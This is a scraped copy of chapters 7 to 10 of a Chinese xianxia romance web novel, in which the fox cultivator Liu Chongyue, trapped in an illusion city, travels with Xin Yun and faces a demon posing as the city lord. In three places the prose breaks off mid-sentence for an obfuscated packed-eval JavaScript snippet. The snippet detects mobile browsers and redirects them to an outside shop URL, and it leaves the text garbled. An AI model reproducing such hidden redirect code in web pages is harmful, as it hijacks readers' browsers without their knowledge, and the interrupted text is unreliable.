《万人嫌被证道后》 7. 第 7 章 辛云背着柳重月,瞧不清对方的面容。 那单薄的身体背在背上轻若片羽,可对方说话时胸腔的震颤实在令人无法忽略。 柳重月尚且在与向安说话,辛云却又走了神,心中不免想,柳重月谎话竟张口就来,说得天衣无缝,倒像是真的似的,连他都难以察觉不妥。 这人口中到底有几句真话,又有多少假话? 辛云心不在焉,直到柳重月拍了拍他的肩,这才骤然回过神来。 柳重月身体前倾,偏着脸想看他的表情,疑惑道:“你这两日总是出神,在想何事?” 辛云忽觉心虚,嗓音带着些许僵硬:“与你何干。” 不想与他说便算了,柳重月也并非想听个什么一二,后转念一想,辛云如今年岁应当还不大,往日瞧着倒是沉稳,偶尔走神倒也没什么。 话少,冷漠,不近人情。 还有容貌。 这几处特征落在人身上,确实便不那么像程玉鸣了。 程玉鸣当年对柳重月算得上死缠烂打,柳重月宗门大比被无数同门踩在头上,兴许人人都爱看天之骄子泯然众人矣的桥段,知晓柳重月修为停滞,便各个过来睬他一脚。 自那之后柳重月时常在烟山上与同门师兄弟起争执,哪怕他有意避让,还是会有人找上门来。 那群人想着法地试探他的修为和灵力,一旦察觉他已尽全力,便肆无忌惮地羞辱他。 偏偏明钰死于雷劫之下,他连最后撑腰的人都没了,同门更是变本加厉。 程玉鸣救他一次,柳重月原想着不会再见,也并未交换姓名。 谁知他为躲避麻烦下山历练,又时常偶遇程玉鸣。 程玉鸣确实生得一张风流儒雅的容貌,柳重月先见他,觉得他长这副模样,兴许不是好鸟。 后又在历练中被程玉鸣帮助了几次,柳重月知晓是自己以貌取人做的不对,待他稍稍有了些好脸色。 前往烟山脚下剿灭魔域的那一年,程玉鸣跟随他一同入了魔域,同行的还有柳重月从前好友常成天。 常成天是昌兰郡常家的长子,柳重月幼时被明钰送到柳家教养,与常成天便是那时相识。 常成天此人性情倨傲,遇人遇事总有自己的一番想法,又格外固执,甚少听人劝解。 他行事冲动,柳重月偏向保守 ,见前路诡异,柳重月想暂且停步。 可常成天不允,二人生了分歧,常成天说话心直口快,怒道:“你一个筑基期的废物,这般胆小怕事,当初便不该出门历练,不如早些离开宗门别修道了。” 柳重月被他这番话说得一怔,半晌没能回过神来。 那方常成天却已经提剑走了,转眼便消失在暗道之中。 柳重月尚在出神。 自天才沦落废物,也不过才百年。 这样的话也不是没听人说过,他一向与外人交流甚少,除却师尊,也便只有景星与常成天与他相熟。 景星这般说他,他觉得伤人心,后来也想通了,觉得对方说得也没错。 可如今常成天也这么说。 柳重月坐在灵石边,垂首望着自己的掌心和指腹,只觉得很是迷茫。 变成这般模样也并非他修行懈怠。 谁叫他是妖。 妖又凭何无道。 柳重月知晓自己心中还是有些许忿忿不平,可怨怒也无济于事,改变不了什么。 他将思绪收拾好,放抬起头,忽然瞧见程玉鸣自不远处走来,月白的衣袍反射着月光,愈发显得这人翩翩如玉。 若上了街,只怕仙道有不少人喜欢。 柳重月心里这般想着,见对方靠近自己,面上含着笑,问:“你那友人呢?” 柳重月想起常成天便心情不虞,却也没过多表示,只道:“生了分歧,已分道扬镳了。” 程玉鸣也没多问:“你将手伸出来。” “做什么?” 柳重月伸出手去,蓦地被对方抓住了手指。 程玉鸣另一只手的掌心里攥着一把魔骨花,艳紫的花色,泛着幽幽紫光,很是漂亮。 光晕落在程玉鸣的面庞上,瞧起来温和又专情。 柳重月望着他的脸除了会儿神,心想,某些角度看,程玉鸣与师尊倒是相像。 无非便是师尊不会这般粘人,去哪都得跟着罢了。 程玉鸣温声笑道:“难得来一次魔域,往日也没什么机会见一见这魔骨花,是不是很漂亮?” 他轻轻捧着柳重月的手,将花放在他手中。 魔域阴暗,柳重月修为不够,本已觉得寒冷,偏偏程玉鸣的手分外暖和,碰着他的手背,像是触碰着一汪温水。 柳重月出神了一会儿,正要点头,忽然听见不远处传来常成天的呼救声,让他救命。 柳重月下意识起了身,却无法控制自己的身体,木然张口道:“我救不了你。” “你怎么可能救不了我!柳重月!阿月!救救我!” “我救不了你,”他嗓音轻轻,“你自己说的,我只是一个废物。” 那方常成天似乎还在大吼大叫,但他却什么都无法再听清,只感到一股温暖的灵力自眉心散开,蔓延到四肢百骸内。 周遭忽地陷入沉寂,他茫然站在一片荒芜的白茫之间,半晌才听到耳边有人在小声说话。 “仙——喂,”辛云音量很小,又给了他一点灵力,“醒醒。” 柳重月懵然睁开了眼。 眼前是晃动的马车车厢,还有辛云带着探究和关切的双眸。 先前发生了什么,他却半分不记得了,也不知晓他们是何时上的马车。 辛云见他面带疑惑,小声解释道:“方才在村口,你忽然被魇住,我无法唤醒你,向安不知情,以为你病了,说要带你去太鼓城治病,现下已经快到了。” 柳重月靠在软垫上,神色迷茫:“我被魇住了?” “嗯,是梦魇之症。” 辛云指腹点于他的眉心,轻轻将一股黑气勾出,抓在掌心:“梦魇,还有离魂,有人在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15050972|162822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幻境外唤你的魂魄。” 柳重月有些懵,他魂魄来自千年后,千年前又会是谁唤他魂魄。 还是说,唤他的人也在千年后? 辛云随手下了一道固魂的法术,道:“幻境未被打破便冒然唤魂,会导致你的魂魄在交界处破碎,你……可是在外面有什么仇家?” 柳重月倒真想实话实说,何止是一点仇家,几乎整个仙道都在追杀他。 妖修做成他这样也实在是难得。 可他也已经死了,莫非还想将他的魂魄唤回去找那个什么仙骨? 柳重月撇撇嘴角,心想,他又不知晓什么是仙骨,真将他唤回去再洗魂一次,他也说不出个什么东西来。 这魇阵他倒是熟悉,死前他曾中过这招,神志尽失,一直被困在梦中。 美梦或噩梦,无论是什么,都难以挣脱。 魔修鬼修擅此阵,借入魇之人的身体行恶便可将罪责推到其身上,自己好逃之夭夭。 当初还以为魇阵已从自己身上消息,现下看来竟是附着在魂魄之上的。 柳重月深思片刻,忽然听见向安在马车外问:“二位可需饮水?” “不必,”柳重月回道,“我已经醒了,向公子将我们留在太鼓城便好。” “好,待会儿便要进城了。” 向安的声音消失在外,辛云问:“不去京城?” “先不去,”柳重月将自己凌乱的发丝散开,仔细编起来,道,“阵眼在太古城中,向安之后或许还会返回太鼓城为官,若幻境如你所说,是以关键人为纽带维持,或许向安很快便会回来。” 转眼,马车停了下来,向安又在门外道:“二位,已至城门了。” 辛云便背着柳重月下了马车,与向安道谢。 向安道:“不必多礼,只是先前不是还要去京中讨要钱财,怎么又不去了。” “我忽然记起太鼓城还有旧亲,” 柳重月叹了口气,说,“你瞧我们如今这样,残的残傻的傻,冒然入京也没什么用,兴许还会被人打出来,等改日我与我夫君修养好,再上京吧。” 向安点头说有理,便向他们二人作揖,道:“往后上了京城,若有事相助尽管来寻我。” 言罢又顿了顿,转而笑起来:“瞧我这话说的,官家还未给官,也不一定便在京中入职。” 他上了马车,对着柳重月和辛云挥挥手:“后会有期!” 马车逐渐远去,辛云忽然道:“等再见面,他就不记得我们了。” “为何?” “因为此处是幻境,幻境之中一切都是虚无的假象,从前的事情已经发生过,不可能再被更改,向安的生前记忆里没有你我,等过几日,幻境会修复他这段时日的记忆,时间会继续向着已经固定的结局流淌,一直到终点结束,再重新回到原点,等着新的魂魄进入其中。” 辛云背着柳重月转了身,往城中去了。 柳重月深思着他那番话,过了城门,辛云忽然站住了脚,道:“有妖气。” 8. 第 8 章 柳重月自己便是妖,对于妖不妖气没什么太大的概念,只是疑惑千年前怎么便开始抵制妖修了。 他没有灵力,察觉不到别的气息,于是便不曾说话。 辛云却又解释道:“是妖魔的气息,并非妖修。” 柳重月闻言倒真有些疑惑,问:“我方才说话了么?” 辛云:“?” 辛云不明白他怎么忽然这么问:“不曾。” 没出声,那对方怎么知晓他心里在想什么? 柳重月撇撇唇角,只道:“你继续说。” 辛云没什么可说的了,他也是刚进入此城,除却那一点点气息,别的也没什么感觉了。 他背着柳重月往城中走,这座城池如今还是一片繁华之景,不见千年后的死气。 街巷上人来人往,偶尔还有人打量戴着覆面的辛云和他背上的柳重月。 柳重月已经许多年不曾见过这样人声鼎沸的景象了,烟山脚下村庄一夜被屠,他被扣上黑锅,后来流亡至昌兰郡,昌兰郡也遭此劫难,下界烽烟四起一片惨状。 时间久了,柳重月都有些记不清下界从前是什么模样。 直到如今。 他望着这个虚假的幻境世间出了会儿神,忽然问辛云:“你和你的师侄们入城之后,可有探听到一些别的消息?” “不曾,那幻境与此处不同,我们乃是局外人,无法与人沟通,自进城之后便只听百姓提起祭祀先城主一事,其余什么都不曾听到。” 那座死城只剩几个百姓的幻形,辛云与门中弟子分开,一人行至城池另一方,幻境却只维持在一部分内,另一边是荒芜的白茫一片,什么都没有。 柳重月想了想,道:“等会儿你去要一份太鼓城的地图。” 顿了顿,他又道:“你将覆面摘了吧,为何一直要戴着覆面?许多人都在看我们,你不觉得羞怯么?” 辛云并不当回事:“不过些许打量,为何要羞怯?” “可是我害羞啊,”柳重月轻轻叹息着,“我生来貌丑,性子内向甚少出门,就是怕与人见面受人打量,年岁渐长养成了习惯,如今被人这般瞧着,总觉得心中不安。” 辛云:“……” 他忽然记起来,村中不曾有铜镜,背上这谎话连篇的人还不曾知晓自己已经暴露了真容。 要提醒么? 罢了,暂且先不提醒了,也不太重要。 辛云便沉默下来,也不曾说自己可要将覆面摘下。 柳重月好奇得抓心挠肝,对方这般遮遮掩掩,他实在想知晓对方的真容。 狐狸想到什么就做什么,伸手去摸人家的脸,想把覆面扣下来。 谁承想,刚碰上对方的面颊,辛云忽然手下一动,将他从身后挪到怀里,单手保住他的腿弯,另一只手从背后绕过,抓住了他的手腕。 辛云眼中带着些许无奈,还有一点点青涩的羞怯,只与柳重月对视了一眼便移开了视线,道:“我……我也面容丑陋,若不戴覆面,会吓到他人。” 柳重月出着神,半晌没什么反应。 辛云以为他没信,又道:“是真的,我在宗门也一向这样,等离开这道幻境,你大可以问问我的那些师侄们。” 柳重月茫然地眨了眨眼,半晌才“嗯”了一声。 辛云便悄无声息松了口气,他在附近找了一间客栈,将柳重月带上楼。 柳重月问:“你从何处得来的铜板?” 话音刚落,他瞧见辛云耳廓微微泛红,视线也带着些许心虚。 柳重月原以为自己看错了,正要再看,却听对方道:“我……以石子变的,敷衍一下幻境中的凡人。” 他像是第一次做这种近似窃贼般的事,心里过意不去,又想安慰自己,继续道:“终归也是幻境,真的假的也无所谓了。” 柳重月觉得他这番样子十分好笑,可唇瓣张了张,却没再说什么。 辛云将柳重月的那些衣物放好,记得对方先前所说,离开客栈去打探消息。 柳重月坐在窗前瞧着对方的身影出现在楼下,脸上也没什么神情,甚至有些冷漠。 与程玉鸣结为道侣之后他便从渡业宗搬离,和对方一切住在烟山脚下的小屋里。 曾经他们也有过一段时间的亲昵,程玉鸣温和体贴,总喜欢想法子逗柳重月开心。 有时会带些话本玩具,有时会动手动脚与他亲密,柳重月虽对情爱不算上心,但程玉鸣这般待他,他心中也是欢喜的。 柳重月知晓自己身份特殊,哪怕与程玉鸣相熟相知,直至相爱都不曾告知对方自己的真实身份。 但偶尔本性暴露,他喜欢从对方身后扑来,挂在对方背上,程玉鸣便会顺势将他从后背移至怀中,单臂抱着他,抓着他作乱的手笑道:“像只小动物似的,总爱从人身后扑猎物。” 与辛云先前动作一般无二。 柳重月总觉辛云熟悉,不曾见过对方真容,也知晓千年前程玉鸣还未曾出生,连师尊明钰都还不曾降世。 莫非辛云是他的前世? 柳重月留了些心眼,打算找个机会将对方的覆面摘了,再想办法试一试他。 * 一个时辰后,辛云返回了客栈,将手中图纸放于桌上。 墨迹还未干透,柳重月问:“这是你自己画的?” “嗯,城中无人有图纸,便自己走了一圈,记了大概的位置。” 辛云指尖落在地图某一处,道:“这里便是我们如今所在的客栈,一旁的酒楼是千年后的佛堂。” “稍等,”柳重月忽然发觉不对,“向安是千年前的人,但城中百姓祭祀时怎么说他是先城主?” “兴许是后来发生了什么,”辛云倒是见怪不怪,“遇见你之前我曾进过几个情况类似的幻境,也曾有人凡人出生,半路拜入宗门得道升仙。” 辛云话音停顿了一下,又道:“不过那已是上千年前的事了,如今得到升仙十分困难,也常有上界仙使被贬入下界的,再想返回上界同样困难。” 这些是柳重月千年后未曾了解完全的,只知晓升仙困难,却不知仙使也有类似忧患。 不过辛云这番话也算解决了他的疑虑,向安能做城主,多半与其功德有关,大功之下得升仙只道,寿数延长也有可能。 他点了点头,示意辛云接着往下说。 辛云又道:“千年前向安的事情大概便发生在东城一处,执念也留在此地,我们在这里稍等几日,向安应当很快便会回来。” 他倒是时常入幻境,对幻境中诸事都十分了解。 柳重月却并不知晓,只问:“向安如今还在前往京城的路上,千年前的京城,离太鼓城有多远?” “不知晓千年前的状况,但千年后的京城离此处不过两日路程,”辛云皱了皱眉,问,“你 ……如今还未恢复记忆?” 柳重月心跳忽然一滞,险些忘了自己先前怎么与对方说谎的,不过面上倒是维持得好,没瞧出什么不对,平静道:“我如今修为灵力都被封存,记忆当然也不曾恢复。” 他知晓自己这番话漏洞百出,辛云想是也不会轻信。 但信不信由人,他咬死了自己什么都不记得,辛云也拿他没办法。 可辛云居然点了点头,道:“你不记得倒也正常。” 柳重月:“?” 何处正常? 他怎么不知道自己正常。 柳重月思忖着,总觉辛云这几日奇奇怪怪。 似乎对自己没那么嫌弃了。 可这态度也转变得实在太快。 他一时想不通, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15050973|162822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼见着天色已晚,身体又累了,他干脆躺上榻,道:“可否麻烦辛云道友。” “你要做什么?” “替我使一个洁身诀吧,”柳重月眼皮已然沉重,头一沾枕头便昏昏欲睡,含糊道,“你若不嫌弃,帮我换一换衣衫也是好的。” 辛云闻言,呼吸蓦地一滞,怔怔地出着神,像是不曾听清对方说了什么。 那方柳重月已然睡着了,辛云半晌才回过神,轻轻靠近了他,慢慢将他揽抱起来。 柳重月清瘦又冰凉的身体靠在他怀中,辛云行动十分小心,微微秉着呼吸,替他解去了腰带。 粗布麻衣下是白皙细腻的皮肤,辛云知晓柳重月生得漂亮,眉目流转间无形便能勾人,无论瞧几次都会被惊艳。 整副皮囊每一处都是极好的,没有任何一点瑕疵。 辛云发了会儿呆,忽然加快了动作,替柳重月施了洁身诀,迅速换了衣衫,之后便匆匆起身离开了包厢,一夜未归。 幻境中的时辰过得要比现实中快一些。 没过几个时辰,天光逐渐明亮,从窗外照射进来,落在窗下木桌上。 辛云踩着日光回了客房,柳重月还在榻上沉睡。 他去瞧了瞧对方的脸色,面上没什么血色,有些苍白,眉心也微微蹙起,像是在做什么噩梦。 辛云先前察觉到魇阵在其魂魄之上,担心再被梦魇,便给了他一些安定固魂的法咒。 灵力触碰到瓷偶皮囊下的魂魄时,辛云难得与柳重月共感,感知到有人在幻境外唤他的魂魄。 大约还点了长明灯。 长明灯的力量不强,与魂魄的牵连也少,其实也没多少用处。 辛云想了想,为保证柳重月魂魄的安全,便匿去了对方魂魄的气息,阻断了长明灯的勾连。 柳重月蹙起的眉心总算平复下去。 辛云收了手,起身坐回了桌边,指腹却还残留着对方皮肤瓷器般细腻的触感。 他本想打坐修行,却忍不住想,柳重月本体的皮肤,或许会更柔然一些。 想到此处他忽然晃了晃脑袋,将这些乱七八糟的念头甩出去,安心打坐了。 唯余耳廓还有些泛红。 * 柳重月与辛云便在城中待了几日。 这太鼓城临近京城,是当前安垣东洲重要的往来要塞,甚是繁华。 二人也在城中碰到了许多修士,其中不乏妖修。 柳重月听辛云提起,征神地望着那妖修悠然走远。 自从狐族被灭门之后,妖修已成了人人喊打之辈,部分宗门见即妖修便出手斩杀,说是未雨绸缪。 柳重月不相信妖修叛变之言,妖族修魔的终究是少数,许多族类都只求安居乐业,而非扰乱下界。 他想尽办法求得百年前妖族叛乱的真相,最后却将自己的命也搭了进去。 他自幼隐藏身份,都已经忘了,曾几何时,妖修也是可以这般光明正大行走在世间的。 柳重月出着神,辛云也不曾打扰。 许久后他才回过神来,问辛云:“你可有听闻过一物,名唤仙骨。” 辛云眸中多了点茫然:“仙骨?” 见他这幅模样,柳重月便知晓他不曾听闻过了,兴许是后来才出现的东西。 他便不动声色转了话题,道:“入梦时听梦中人提起过,不必当真,前几日刚入城时,你说城中有修魔的妖族,这几日怎么没听你再提起。” 辛云道:“来时我已探查过,气息已消散,兴许已经离城了。” 顿了顿,他又道:“我方才去城外打听,皇室似乎给了向安一道职位,这几日正要回太鼓城任职。” “是城主么?” “不是,”辛云摇摇头,道,“只是当今城主身边的史官。” 9. 第 9 章 堂堂状元郎却封个史官,实在是有些浪费。 柳重月听闻过朝堂上这些弯弯绕绕,有时高中状元也并非就能获得自己想要的东西,并非便能实现自己的抱负。 但这上千年万年来,一直有无数凡人为此而拼尽全力,想要博得一个金榜题名功名利禄。 柳重月不知道向安会不会因此而生怨,终归他们也才结识不到一日,短暂浅显的第一印象也并不能说明什么,一切都只能等着向安来到这里,再去了解千年前的这座城池究竟发生了什么。 又过了两日,向安入城了。 柳重月在厢房窗边坐着,楼下街巷上人声鼎沸,官家的马车穿行在人群中。 如今城主并未亲临,派了人手来接应,先将马车迎入了城主府。 辛云抱着木剑站在窗边,忽然道:“那人身上有妖魔的气息。” 柳重月闻声便将视线投射过去,盯着那引路人瞧了一会儿。 他没有修为,瞧不出什么异常,只问:“他是妖魔?” “似乎不是,”辛云抬起手指,指尖一道细微灵力流淌而出,转眼便附着在对方身上,“只是身上沾染的,身边大概有人是。” 法咒粘附在那人身上,对方只是一个凡人,对此无知无觉,带着向安入了城主府。 辛云叫小二端了一盆水放在桌上,以水凝镜,在桌上形成一道法阵。 柳重月坐在桌边,瞧着桌上的水镜,半晌不曾有动作,似乎只是在发呆。 辛云不知他想到了什么,问:“怎么了?” “无事,”柳重月骤然回过神,眨了眨眼,问,“这是什么术法?你们宗门教的么?” “不是,”辛云以为他只是好奇,“定阳宗宗门勤修剑术,不善阵法,此阵乃是我从前一故人所教。” “故人?”柳重月眸光晃了晃。 “一位仙使。” 辛云像是不想提及对方,只解释到这,很快便转了话题道:“这阵法可借以被附着之人双眼,探查他身边的状况。” 他将水镜往柳重月那边推了推,道:“往日入幻境时常自行活动,也不常用此阵,你不便行动,便给你用一用。” 他起了身,柳重月问:“你要去城主府?” “镜阵终究有限制,我还是去城主府瞧一瞧,若是有事便对着镜阵唤我,我可以听到。” 辛云说罢,将木剑提在手上,转眼便消失在包厢门外。 柳重月若有所思,望着镜中画面出了会儿神。 那方引路人已将向安带入府中,接那人之眼,柳重月瞧见了如今城主的容貌。 是个年轻而容颜昳丽的女子,五官生得锐利,言行举止大方且果敢,似是带着尖锐的花刺。 向安与她作揖,她一把抓了对方的手臂,含笑将人扶起来,道:“向大人不必多礼,千里迢迢自京城至此处帮扶凡雁,凡雁感激不尽,今日招酒布宴,还请向大人赏脸入座一聚。” 柳重月轻轻蹙了蹙眉。 凡雁? 董凡雁? 他知晓这个名字,柳家的祠堂正中央便放着她的灵位,他曾经见过。 柳重月记得年幼时柳家小叔与他提起过董凡雁此人,道她并非柳家本家先祖,因其对柳家有功,才将她的灵位放于柳家祠堂间祭拜。 但这个时候,昌兰郡的柳家还并未出现。 柳重月到如今才发觉这整个世间诸事万事似乎都没有自己从前想的那么简单,自千年前便有了种种牵连。 辛云的镜阵他也曾见过,整个烟山里唯有程玉鸣擅阵。 曾经他为替柳重月报复,故意捉弄景星,便在寒泉布了此阵给柳重月看热闹,逗他开心。 千年后的程玉鸣修为更高深莫测,柳重月与他相识百年,其实并不知晓对方的修为到底到了什么程度,只知晓或许离飞升只有一步之遥。 程玉鸣的镜阵可观测的范围更广,阵眼在他自己身上,借他的双眼去看镜中之景,要远比现下看得清晰。 他给景星使了绊子,在他身上黏了花蜜,引了虫蚁。 烟山的虫蚁本就生了灵,不惧修士灵力,只顾着吃喝,一只接着一只往景星身上爬。 景星自幼洁癖,被虫子爬了满身,又恶心又烦躁,挣扎着往自己屋子走。 行至半路未曾注意脚下,被程玉鸣的法术一绊,整个人向前扑去,摔入泥潭当中。 这样的捉弄虽然没什么杀伤力,但也足足让柳重月看够了笑料。 柳重月摇摇头,将从前记忆抛却在脑后。 他不知晓自己为何还一直记得程玉鸣对他做过的那些事,分明自己对他也不是用情至深,还记得程玉鸣杀妻证道的仇。 或许是因为他发现了辛云和程玉鸣之间的牵连与秘密,一时间有些难以下手了。 柳重月知晓自己不必再试探,种种行为已然告诉他,程玉鸣与辛云便是一人。 但辛云如今更青涩,虽然戴着覆面,但眼中情绪藏不住,没有程玉鸣那般老奸巨猾。 说不准自己此次死而复生,是否又是程玉鸣暗中做了什么。 柳重月想了想,又将视线放到水镜中去。 董凡雁带着向安上座,堂中摆宴,觥筹交错。 她与向安交谈了几句,问了他家中的情况,向安便一一作答。 董凡雁笑起来,问:“向大人乃当朝状元,陛下可有赏赐什么珍贵宝物于向大人。” 向安闻言便有些惶恐:“是陛下赏识向安才有此成绩,感激涕零,哪还能再向陛下索要赏赐。” “实在是可惜,宫中藏宝阁存放着无数珍宝,也有上界仙人给予的灵丹妙药,或保人长命百岁,或使人就此得道升仙,向大人未曾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15050974|162822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问陛下要些什么,着实是有些可惜。” 向安闻言便有些惊讶,却很快调整好神情,道:“向安所求并非于此,家国安康,百姓安居乐业便是极好,何必寻求什么长生。” 董凡雁见他对此事不感兴趣,只笑了笑,没再继续了。 柳重月睫羽颤了颤。 灵丹妙药? 千年后修行看重一人的资质,格外艰难,怎么在千年前,得道升仙像是多么简单的事情似的。 董凡雁能成为柳家的恩人,或许也曾是修行之人,寿数延长,因而才能活到那时。 他总觉得奇怪,正要再看,那董凡雁忽然转开眼,直直与水镜外的柳重月对上。 柳重月心下惊骇,只一瞬,镜阵顿时散了,“哗啦”一声落回盆中,恢复了原状。 一股冷风自窗外吹进,将柳重月的衣袖与发丝吹扬起。 又一眨眼,辛云缩地千里,迅速返回了包厢,将柳重月单手抱起,灵流顿时四散将他们包裹其中,原地消失的后一瞬,一道长鞭破空击出,“啪”地一声落在残留着灵流的位置,将木椅击得粉碎,甚至打破了地面。 柳重月眼前晕了一会儿,很快又清晰起来,他已经被辛云带出客栈,站在城门处。 天际阴云一片,不复方才的盛日,隐隐还有雷鸣电闪。 辛云眉心微蹙,抓着木剑的手指用力收紧,手背青筋凸起,骤然回身相挡。 灵流轰然碰撞,狂风四起,吹得柳重月不得不闭上眼。 他听见辛云微微喘着气,小声道:“董凡雁是妖魔。” “她不是董凡雁,”柳重月面色平静,“董凡雁已经死了,她只是夺走了对方的身份而已。” 话音未落,一道尖锐的笑声混着龙吟长啸,忽然自不远处响起。 柳重月听到自己身体发出了龟裂的细微声响,而后便感到有什么东西再试图抽出他的魂魄。 他瞳孔一缩,见辛云又斩出一剑挡下不知何处来的攻击,他忙道:“快替我固魂。” 辛云迅速做出反应,落下灵罩,将柳重月罩起,抱着他往城外跃去。 柳重月急声道:“她是城门,往反向走,去酒楼。” 辛云已经逼近城门,忽见城门扭曲深陷,成为一张血盆大口,向着他们张开了獠牙。 他眸中神色未变,冷着目光,重重将木剑抛出。 剑身在空中划出一道幽蓝的灵墙,辛云顺势落在其上,脚下一蹬,迅速旋身向着反向飞去,眨眼便落在酒楼的屋檐上。 辛云抬指召回木剑,道:“破!” 只听“轰隆”一声,木剑顿时自屋顶穿下,破出一个巨大的裂缝。 辛云抱着柳重月一跃而下,砸穿了一二楼的隔板,楼下是黑沉一片的深渊。 辛云却面不改色,带着柳重月直坠其中,消失不见了。 10. 第 10 章 狂风四起,将柳重月的头发吹扬起来,衣摆猎猎作响。 风势里带着繁乱的灵流,如同刀割一般剐蹭在他的皮囊上,又像是触碰到了魂魄,让他感到魂魄犹如撕裂般地疼痛着。 这酒楼下方是一道幻境的入口,深不见底,辛云抱着他直往下落,却半晌没有落到地面。 柳重月只觉得自己身体似乎已经快要碎去,下意识紧紧抓着辛云的衣襟。 辛云放在他腰间的手臂微微回收,将他箍在自己怀里。 眼前忽然绽出一道刺目的日光,随着不断下降而愈发扩大,逐渐化作一道灵门。 辛云带着柳重月闪身而去,跃过那道门,眼前无数景象便在眼前幻化重组,缓缓化作一座繁华昌盛的城池。 柳重月艰难地睁了睁眼,身体却无力地往下坠去,被辛云急急抱住。 辛云将他抱在怀里,露在外的双眸间带上些许焦急。 虽神态与当年死在程玉鸣怀中时毫无相似,但柳重月还是记起了那时的痛苦和不甘。 他到如今都不曾忘记匕首陷入自己心口处的寒凉和疼痛,也没有忘记程玉鸣对他说过的话。 他说自己是妖。 又说自己不懂他的道。 许是那时死得太迷茫,可笑的痛苦到此时才姗姗来迟,却又如滔天洪水,瞬时便将他彻底淹没。 柳重月蓦地想笑,又无法牵动起唇角,只是怔怔地躺在辛云怀里走着神。 辛云是他吗? 应当是的。 是他……又能如何…… 柳重月甚至不清楚自己该如何对待面前抱着自己的青年,他还很年轻,很青涩,那些掩藏不了的情愫他也有看见,却一直视若无睹。 辛云是程玉鸣,却又好像不是程玉鸣。 转世前后,算一个人吗? 他走着神,忽然听见辛云焦急喊他:“没事吧?” 他小心翼翼伸手碰了碰柳重月的额头,那里原本便有一道裂隙,如今收到冲击,裂纹已然蔓延至颊边。 柳重月睫羽颤了颤,半晌没说话,思绪还沉浸在旧日的回忆里。 辛云心道不好。 方才落下时要穿过幻阵,幻阵牵引魂魄,会勾出附着在其上的魇阵。 柳重月多半又被魇阵影响了,长此以往,魇阵会将他的魂魄彻底吞吃,以占据他的躯体。 辛云咬咬牙,四下打量周遭,见路过百姓似乎无法看见他们,便将柳重月抱至荫蔽之处,给了他些许灵力稳住心神。 灵流触碰到对方魂魄的一瞬,他又一次感知到柳重月从前的记忆,似是隔着一层浅薄白雾,瞧不清也听不清,只能看见漫山遍野的飞雪与浮雾,和几道模糊的身影。 辛云怔了怔,正想再往前走几步,忽然听见柳重月的声音,很轻也很平静,如飞雪绒羽一般:“我已经死了。” 清瘦的背影出现在林间,乌黑的发尾绑着红绳,像是狐狸柔软的尾巴。 辛云见他要走远,忙高声唤他:“停下!快醒醒!” 他拔步而行,脚腕像是被什么无形的事物裹缚,阻拦他前进。 辛云心下着急,忧心柳重月被困于魇阵中,正待使用灵力,忽地又听见几道陌生的声音,不知从何处传来的,似乎离这里很远。 “长明灯为何又灭了?” “景星师弟,你先冷静些,先前不是已经点燃了两个时辰吗?兴许……兴许师兄魂魄还在呢。” “滚开!你们都在骗我,我要让程玉鸣偿命!” “师弟!师弟!快拦住他!” 声音就此远去,辛云若有所思,心道原是这些人在点长明灯唤那瓷偶内的魂魄。 想也是个急躁的毛头小子,那魂魄被困幻境中,怎能这般强行拉扯。 辛云收回思绪,向着已然远去的那道身影抛出灵流。 莹白的灵力如绸缎般倾泻而出,将柳重月道道捆束。 柳重月身形挣动着,半晌才垂下头,木然望着捆束自己的灵流。 前尘往事似乎已经快要忘却,柳重月脑袋一片空白,只知向前行走,如今才侧身向后望去。 天地白茫一片的飞雪自他脚下堆叠,像是要将他没顶。 他隐约瞧见辛云艰难向着自己走来,冲他伸出手,声音似被阻拦,听不真切。 “把手给我,我带你出去。“ 眼前是仙人繁复宽大的衣袍,伸手时轻纱在风间飘扬,面容却日渐模糊。 “阿月……” 柳重月茫然地站在雪地里,喃喃张了口,无声碰了碰唇瓣。 “师尊……” 天地寂静如初,唯余飞雪悠悠,并未停歇。 *** “若来世得以为人,再去追寻大道仁心吧。” “……师尊,”柳重月听见自己说,“来生,我还是我么?” “今生想做完的事情,为何要等到来生实现,这般……还有意义么?” 空旷一片的梦境里只有他自己的回音,柳重月没等到明钰的回答,心中却已经有了答案。 他自梦中醒来,迷茫地睁着眼,望着床幔出神。 辛云的气息便在身侧不远处,他知晓对方不曾走远,半晌后便转了转视线,在屋内找着对方的身影。 辛云正坐在桌边吐息。 那时他自城主府匆匆赶回客栈,受了金像一击,手臂上划破了伤痕,现下正汩汩流血。 幻境中疗效削弱,伤势还没有要好的迹象,柳重月到底还是狐狸,鼻子尖,闻到了那股血腥气。 他叹口气坐起身来,问:“伤到哪了?” 辛云不曾睁眼,只说:“不碍事。” 